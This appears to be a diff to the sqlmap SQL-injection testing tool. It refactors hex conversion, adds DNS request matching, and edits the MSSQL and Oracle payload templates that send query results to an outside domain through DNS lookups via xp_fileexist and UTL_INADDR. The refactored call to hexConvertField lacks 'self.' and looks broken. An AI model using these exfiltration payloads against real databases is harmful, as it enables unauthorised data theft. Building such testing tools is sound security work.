diff --git a/lib/core/agent.py b/lib/core/agent.py index 85a1af83f..fc2663c2a 100644 --- a/lib/core/agent.py +++ b/lib/core/agent.py @@ -244,8 +244,28 @@ class Agent: return payload def getComment(self, request): + """ + Returns comment form for the given request + """ + return request.comment if "comment" in request else "" + def hexConvertField(self, field): + """ + Returns hex converted field string + """ + + rootQuery = queries[Backend.getIdentifiedDbms()] + hexField = field + + if 'hex' in rootQuery: + hexField = rootQuery.hex.query % field + else: + warnMsg = "switch '--hex' is currently not supported on DBMS '%s'. " % Backend.getIdentifiedDbms() + singleTimeWarnMessage(warnMsg) + + return hexField + def nullAndCastField(self, field): """ Take in input a field string and return its processed nulled and @@ -288,14 +308,7 @@ class Agent: nulledCastedField = rootQuery.isnull.query % nulledCastedField if conf.hexConvert: - if 'hex' in rootQuery: - nulledCastedField = rootQuery.hex.query % nulledCastedField - else: - warnMsg = "switch '--hex' is currently not supported on DBMS '%s'. " % Backend.getIdentifiedDbms() - warnMsg += "Going to switch it off" - singleTimeWarnMessage(warnMsg) - - conf.hexConvert = False + nulledCastedField = hexConvertField(nulledCastedField) return nulledCastedField diff --git a/lib/core/common.py b/lib/core/common.py index 6447b7fc5..f3a251519 100644 --- a/lib/core/common.py +++ b/lib/core/common.py @@ -1608,7 +1608,7 @@ def getSPLSnippet(dbms, name, **variables): checkFile(filename) retVal = readCachedFileContent(filename) - retVal = re.sub(r"#.+", "", retVal) + retVal = re.sub(r"#.+", "", retVal).strip() for _ in variables.keys(): retVal = re.sub(r"%%%s%%" % _, variables[_], retVal) diff --git a/lib/request/dns.py b/lib/request/dns.py index 63c42baf7..14af02e89 100644 --- a/lib/request/dns.py +++ b/lib/request/dns.py @@ -8,6 +8,7 @@ See the file 'doc/COPYING' for copying permission """ import os +import re import socket import threading import time @@ -63,6 +64,16 @@ class DNSServer: retVal = self._requests.pop(0) return retVal + def pop(self, prefix, suffix): + retVal = None + with self._lock: + for _ in self._requests: + if re.search("%s\..+\.%s" % (prefix, suffix), _, re.I): + retVal = _ + self._requests.remove(_) + break + return retVal + def run(self): def _(): try: diff --git a/procs/mssqlserver/dns_request.txt b/procs/mssqlserver/dns_request.txt index 7b450e064..e4fd978fc 100644 --- a/procs/mssqlserver/dns_request.txt +++ b/procs/mssqlserver/dns_request.txt @@ -1,3 +1,3 @@ DECLARE @host varchar(1024); -SELECT @host = '%PREFIX%' + (%QUERY%) + '%SUFFIX%' + '.%DOMAIN%'; +SELECT @host = '%PREFIX%.' + (%QUERY%) + '.%SUFFIX%' + '.%DOMAIN%'; EXEC('xp_fileexist "\' + @host + 'c$boot.ini"'); diff --git a/procs/oracle/dns_request.txt b/procs/oracle/dns_request.txt index 93d90ff36..098db897a 100644 --- a/procs/oracle/dns_request.txt +++ b/procs/oracle/dns_request.txt @@ -1 +1 @@ -SELECT UTL_INADDR.GET_HOST_ADDRESS('%PREFIX%'||(%QUERY%)||'%SUFFIX%'||'.%DOMAIN%') FROM DUAL +SELECT UTL_INADDR.GET_HOST_ADDRESS('%PREFIX%.'||(%QUERY%)||'.%SUFFIX%'||'.%DOMAIN%') FROM DUAL